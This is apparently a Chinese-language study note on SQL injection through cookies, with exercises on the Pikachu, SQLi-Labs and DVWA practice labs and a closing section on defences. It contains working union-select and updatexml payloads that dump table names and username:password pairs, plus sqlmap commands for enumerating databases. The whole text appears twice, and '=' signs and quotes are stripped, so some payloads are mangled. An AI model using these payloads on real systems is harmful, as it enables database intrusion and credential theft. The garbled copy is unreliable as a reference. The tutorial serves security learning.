一、什么是Cookie注入Cookie注入是SQL注入中比较特殊的一种类型。它的核心逻辑与Post注入类似但注入点从POST参数变成了Cookie值。当服务器端从Cookie中读取数据并直接拼接到SQL语句中执行时攻击者可以通过修改Cookie值来触发注入漏洞。Cookie注入的适用场景Cookie注入在以下场景中特别常见网站通过Cookie记录用户偏好设置如语言、主题、每页显示条数等网站通过Cookie传递用户ID或会话标识网站通过Cookie实现“记住我”功能网站通过Cookie记录购物车信息或浏览历史Cookie注入的核心要素Cookie注入需要满足以下几个条件目标网站的服务器端代码从Cookie中读取了某个字段的值该字段的值被直接拼接到SQL语句中执行目标没有对该字段进行有效的过滤或转义攻击者能够修改Cookie值使用Burp Suite或浏览器的开发者工具二、Cookie注入的基本原理Cookie是什么Cookie是服务器发送到用户浏览器并保存在本地的一小段数据它会在浏览器下次向同一服务器发起请求时被携带并发送到服务器端。Cookie注入的执行流程正常情况用户登录后服务器返回一个包含用户ID的CookieCookie: user_id123服务器端读取Cookie并查询用户信息$user_id$_COOKIE[user_id];$sqlSELECT * FROM users WHERE id $user_id;攻击情况攻击者修改Cookie值为 123 OR 11Cookie: user_id123 OR 11SQL语句变为SELECT*FROMusersWHEREid123OR11由于 11 永远为真这条语句会返回所有用户的信息而不是仅返回ID为123的用户信息。Cookie注入的常见注入点$_COOKIE[‘user_id’]用户ID$_COOKIE[‘username’]用户名$_COOKIE[‘language’]语言偏好$_COOKIE[‘theme’]主题设置$_COOKIE[‘cart’]购物车信息$_COOKIE[‘session_id’]会话标识三、Cookie注入靶场实例Pikachu靶场 - Cookie注入关卡Pikachu靶场设置了专门的Cookie注入关卡非常适合学习。环境说明靶场地址本地搭建的Pikachu环境下的“SQL-Inject - cookie注入”关卡界面一个查询页面根据用户ID显示对应的信息漏洞利用过程第一步观察Cookie访问页面后使用浏览器的开发者工具或Burp Suite查看Cookie。发现Cookie中有一个名为 id 的字段值为一个数字如 1。Cookie: id1第二步判断注入点在Cookie中修改 id 的值为 1’重新发送请求。如果页面出现MySQL报错信息说明Cookie的 id 字段存在SQL注入漏洞。第三步获取字段数修改Cookie值为Cookie: id1 order by 3页面正常改为 order by 4 后报错说明查询有3列。然后使用联合查询Cookie: id-1 union select 1,2,3注意将id设为负数使原始查询结果为空这样页面上就能显示union查询的结果。第四步获取数据库名Cookie: id-1 union select 1,database(),3页面显示数据库名如 pikachu。第五步获取表名和列名获取所有表名Cookie: id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()获取列名Cookie: id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers第六步获取数据Cookie: id-1 union select 1,group_concat(username,:,password),3 from usersSQLi-Labs靶场 - Less-21、Less-22SQLi-Labs的Less-21和Less-22专门讲解Cookie注入。Less-21基于错误的Cookie注入-单引号本关的Cookie值被Base64编码了需要先解码再修改然后再编码发送。利用过程第一步访问页面使用Burp Suite捕获请求查看Cookie值。假设Cookie值为 YWRtaW4这是 admin 的Base64编码。第二步对Cookie值进行解码和修改。将 YWRtaW4 解码得到 admin在末尾加上单引号测试admin’然后重新编码为 YWRtaW4n。第三步发送修改后的请求如果页面报错说明存在Cookie注入。第四步利用报错注入获取数据。构造Payloadadmin’ AND updatexml(1, concat(0x7e, database(), 0x7e), 1)#然后进行Base64编码替换原Cookie值发送。Less-22基于错误的Cookie注入-双引号本关与Less-21类似但使用的是双引号闭合。测试Payloadadmin AND updatexml(1, concat(0x7e, database(), 0x7e), 1)#同样需要进行Base64编码后发送。DVWA靶场 - Cookie注入实战演示DVWA的SQL Injection模块也可以用于练习Cookie注入但需要做一些调整。环境准备进入DVWA的SQL Injection模块Low级别使用Burp Suite拦截请求观察Cookie利用过程第一步在DVWA的SQL Injection模块中输入 1 查询使用Burp Suite捕获请求查看Cookie中是否有用户相关的字段如 user_id 或类似标识。第二步在Cookie中添加或修改注入语句将用户标识参数改为Payload。由于DVWA默认使用GET方式提交Cookie注入可能需要结合其他手法。提示 在实际的DVWA测试中Cookie注入可能不完全适用于SQL Injection模块。如果Cookie中没有明显的注入点可以尝试在Cookie中伪造用户身份如将 user_id1 改为 user_id2观察是否可以越权查看其他用户数据这本身也是一种安全测试。四、Cookie注入的检测与利用工具1, Burp SuiteBurp Suite是检测Cookie注入最常用的工具。检测步骤使用Proxy模块拦截请求查看请求中的Cookie字段在Cookie值中插入测试Payload发送请求观察响应变化浏览器开发者工具现代浏览器的开发者工具提供了Cookie查看和编辑功能ChromeF12打开开发者工具在“Application”选项卡中可以查看和修改CookieFirefoxF12打开开发者工具在“Storage”选项卡中可以查看和修改Cookie修改后刷新页面即可触发注入前提是修改的Cookie与当前站点匹配Cookie Manager类插件浏览器中有专门的Cookie管理插件EditThisCookieChromeCookie-EditorFirefox这些插件可以更方便地查看、修改、添加和删除Cookiesqlmapsqlmap也支持Cookie注入# 基本Cookie注入检测sqlmap-uhttp://example.com/page.php--cookieid1# 指定Cookie中的某个参数进行注入sqlmap-uhttp://example.com/page.php--cookieid1-pid# 获取数据库名sqlmap-uhttp://example.com/page.php--cookieid1--dbs五、Cookie注入的防御措施Cookie注入的防御思路与其他注入类型一致核心是不要信任任何从客户端接收的数据包括Cookie。最根本的防御措施对所有从 $_COOKIEPHP、request.getCookies()Java等获取的数据使用参数化查询不要在Cookie中存储敏感数据如用户ID、权限等级等或对Cookie数据进行签名和加密不要直接在SQL语句中拼接Cookie数据无论其来源看起来多么“可信”具体防御方案使用参数化查询PreparedStatement处理所有SQL查询将用户身份信息存储在服务器端的Session中而不是客户端的Cookie中如果必须使用Cookie传递数据对数据进行加密和签名防止篡改对从Cookie中获取的数据进行严格的格式校验和类型检查数据库账号遵循最小权限原则 SQL注入之Cookie注入学习笔记
一、什么是Cookie注入Cookie注入是SQL注入中比较特殊的一种类型。它的核心逻辑与Post注入类似但注入点从POST参数变成了Cookie值。当服务器端从Cookie中读取数据并直接拼接到SQL语句中执行时攻击者可以通过修改Cookie值来触发注入漏洞。Cookie注入的适用场景Cookie注入在以下场景中特别常见网站通过Cookie记录用户偏好设置如语言、主题、每页显示条数等网站通过Cookie传递用户ID或会话标识网站通过Cookie实现“记住我”功能网站通过Cookie记录购物车信息或浏览历史Cookie注入的核心要素Cookie注入需要满足以下几个条件目标网站的服务器端代码从Cookie中读取了某个字段的值该字段的值被直接拼接到SQL语句中执行目标没有对该字段进行有效的过滤或转义攻击者能够修改Cookie值使用Burp Suite或浏览器的开发者工具二、Cookie注入的基本原理Cookie是什么Cookie是服务器发送到用户浏览器并保存在本地的一小段数据它会在浏览器下次向同一服务器发起请求时被携带并发送到服务器端。Cookie注入的执行流程正常情况用户登录后服务器返回一个包含用户ID的CookieCookie: user_id123服务器端读取Cookie并查询用户信息$user_id$_COOKIE[user_id];$sqlSELECT * FROM users WHERE id $user_id;攻击情况攻击者修改Cookie值为 123 OR 11Cookie: user_id123 OR 11SQL语句变为SELECT*FROMusersWHEREid123OR11由于 11 永远为真这条语句会返回所有用户的信息而不是仅返回ID为123的用户信息。Cookie注入的常见注入点$_COOKIE[‘user_id’]用户ID$_COOKIE[‘username’]用户名$_COOKIE[‘language’]语言偏好$_COOKIE[‘theme’]主题设置$_COOKIE[‘cart’]购物车信息$_COOKIE[‘session_id’]会话标识三、Cookie注入靶场实例Pikachu靶场 - Cookie注入关卡Pikachu靶场设置了专门的Cookie注入关卡非常适合学习。环境说明靶场地址本地搭建的Pikachu环境下的“SQL-Inject - cookie注入”关卡界面一个查询页面根据用户ID显示对应的信息漏洞利用过程第一步观察Cookie访问页面后使用浏览器的开发者工具或Burp Suite查看Cookie。发现Cookie中有一个名为 id 的字段值为一个数字如 1。Cookie: id1第二步判断注入点在Cookie中修改 id 的值为 1’重新发送请求。如果页面出现MySQL报错信息说明Cookie的 id 字段存在SQL注入漏洞。第三步获取字段数修改Cookie值为Cookie: id1 order by 3页面正常改为 order by 4 后报错说明查询有3列。然后使用联合查询Cookie: id-1 union select 1,2,3注意将id设为负数使原始查询结果为空这样页面上就能显示union查询的结果。第四步获取数据库名Cookie: id-1 union select 1,database(),3页面显示数据库名如 pikachu。第五步获取表名和列名获取所有表名Cookie: id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()获取列名Cookie: id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers第六步获取数据Cookie: id-1 union select 1,group_concat(username,:,password),3 from usersSQLi-Labs靶场 - Less-21、Less-22SQLi-Labs的Less-21和Less-22专门讲解Cookie注入。Less-21基于错误的Cookie注入-单引号本关的Cookie值被Base64编码了需要先解码再修改然后再编码发送。利用过程第一步访问页面使用Burp Suite捕获请求查看Cookie值。假设Cookie值为 YWRtaW4这是 admin 的Base64编码。第二步对Cookie值进行解码和修改。将 YWRtaW4 解码得到 admin在末尾加上单引号测试admin’然后重新编码为 YWRtaW4n。第三步发送修改后的请求如果页面报错说明存在Cookie注入。第四步利用报错注入获取数据。构造Payloadadmin’ AND updatexml(1, concat(0x7e, database(), 0x7e), 1)#然后进行Base64编码替换原Cookie值发送。Less-22基于错误的Cookie注入-双引号本关与Less-21类似但使用的是双引号闭合。测试Payloadadmin AND updatexml(1, concat(0x7e, database(), 0x7e), 1)#同样需要进行Base64编码后发送。DVWA靶场 - Cookie注入实战演示DVWA的SQL Injection模块也可以用于练习Cookie注入但需要做一些调整。环境准备进入DVWA的SQL Injection模块Low级别使用Burp Suite拦截请求观察Cookie利用过程第一步在DVWA的SQL Injection模块中输入 1 查询使用Burp Suite捕获请求查看Cookie中是否有用户相关的字段如 user_id 或类似标识。第二步在Cookie中添加或修改注入语句将用户标识参数改为Payload。由于DVWA默认使用GET方式提交Cookie注入可能需要结合其他手法。提示 在实际的DVWA测试中Cookie注入可能不完全适用于SQL Injection模块。如果Cookie中没有明显的注入点可以尝试在Cookie中伪造用户身份如将 user_id1 改为 user_id2观察是否可以越权查看其他用户数据这本身也是一种安全测试。四、Cookie注入的检测与利用工具1, Burp SuiteBurp Suite是检测Cookie注入最常用的工具。检测步骤使用Proxy模块拦截请求查看请求中的Cookie字段在Cookie值中插入测试Payload发送请求观察响应变化浏览器开发者工具现代浏览器的开发者工具提供了Cookie查看和编辑功能ChromeF12打开开发者工具在“Application”选项卡中可以查看和修改CookieFirefoxF12打开开发者工具在“Storage”选项卡中可以查看和修改Cookie修改后刷新页面即可触发注入前提是修改的Cookie与当前站点匹配Cookie Manager类插件浏览器中有专门的Cookie管理插件EditThisCookieChromeCookie-EditorFirefox这些插件可以更方便地查看、修改、添加和删除Cookiesqlmapsqlmap也支持Cookie注入# 基本Cookie注入检测sqlmap-uhttp://example.com/page.php--cookieid1# 指定Cookie中的某个参数进行注入sqlmap-uhttp://example.com/page.php--cookieid1-pid# 获取数据库名sqlmap-uhttp://example.com/page.php--cookieid1--dbs五、Cookie注入的防御措施Cookie注入的防御思路与其他注入类型一致核心是不要信任任何从客户端接收的数据包括Cookie。最根本的防御措施对所有从 $_COOKIEPHP、request.getCookies()Java等获取的数据使用参数化查询不要在Cookie中存储敏感数据如用户ID、权限等级等或对Cookie数据进行签名和加密不要直接在SQL语句中拼接Cookie数据无论其来源看起来多么“可信”具体防御方案使用参数化查询PreparedStatement处理所有SQL查询将用户身份信息存储在服务器端的Session中而不是客户端的Cookie中如果必须使用Cookie传递数据对数据进行加密和签名防止篡改对从Cookie中获取的数据进行严格的格式校验和类型检查数据库账号遵循最小权限原则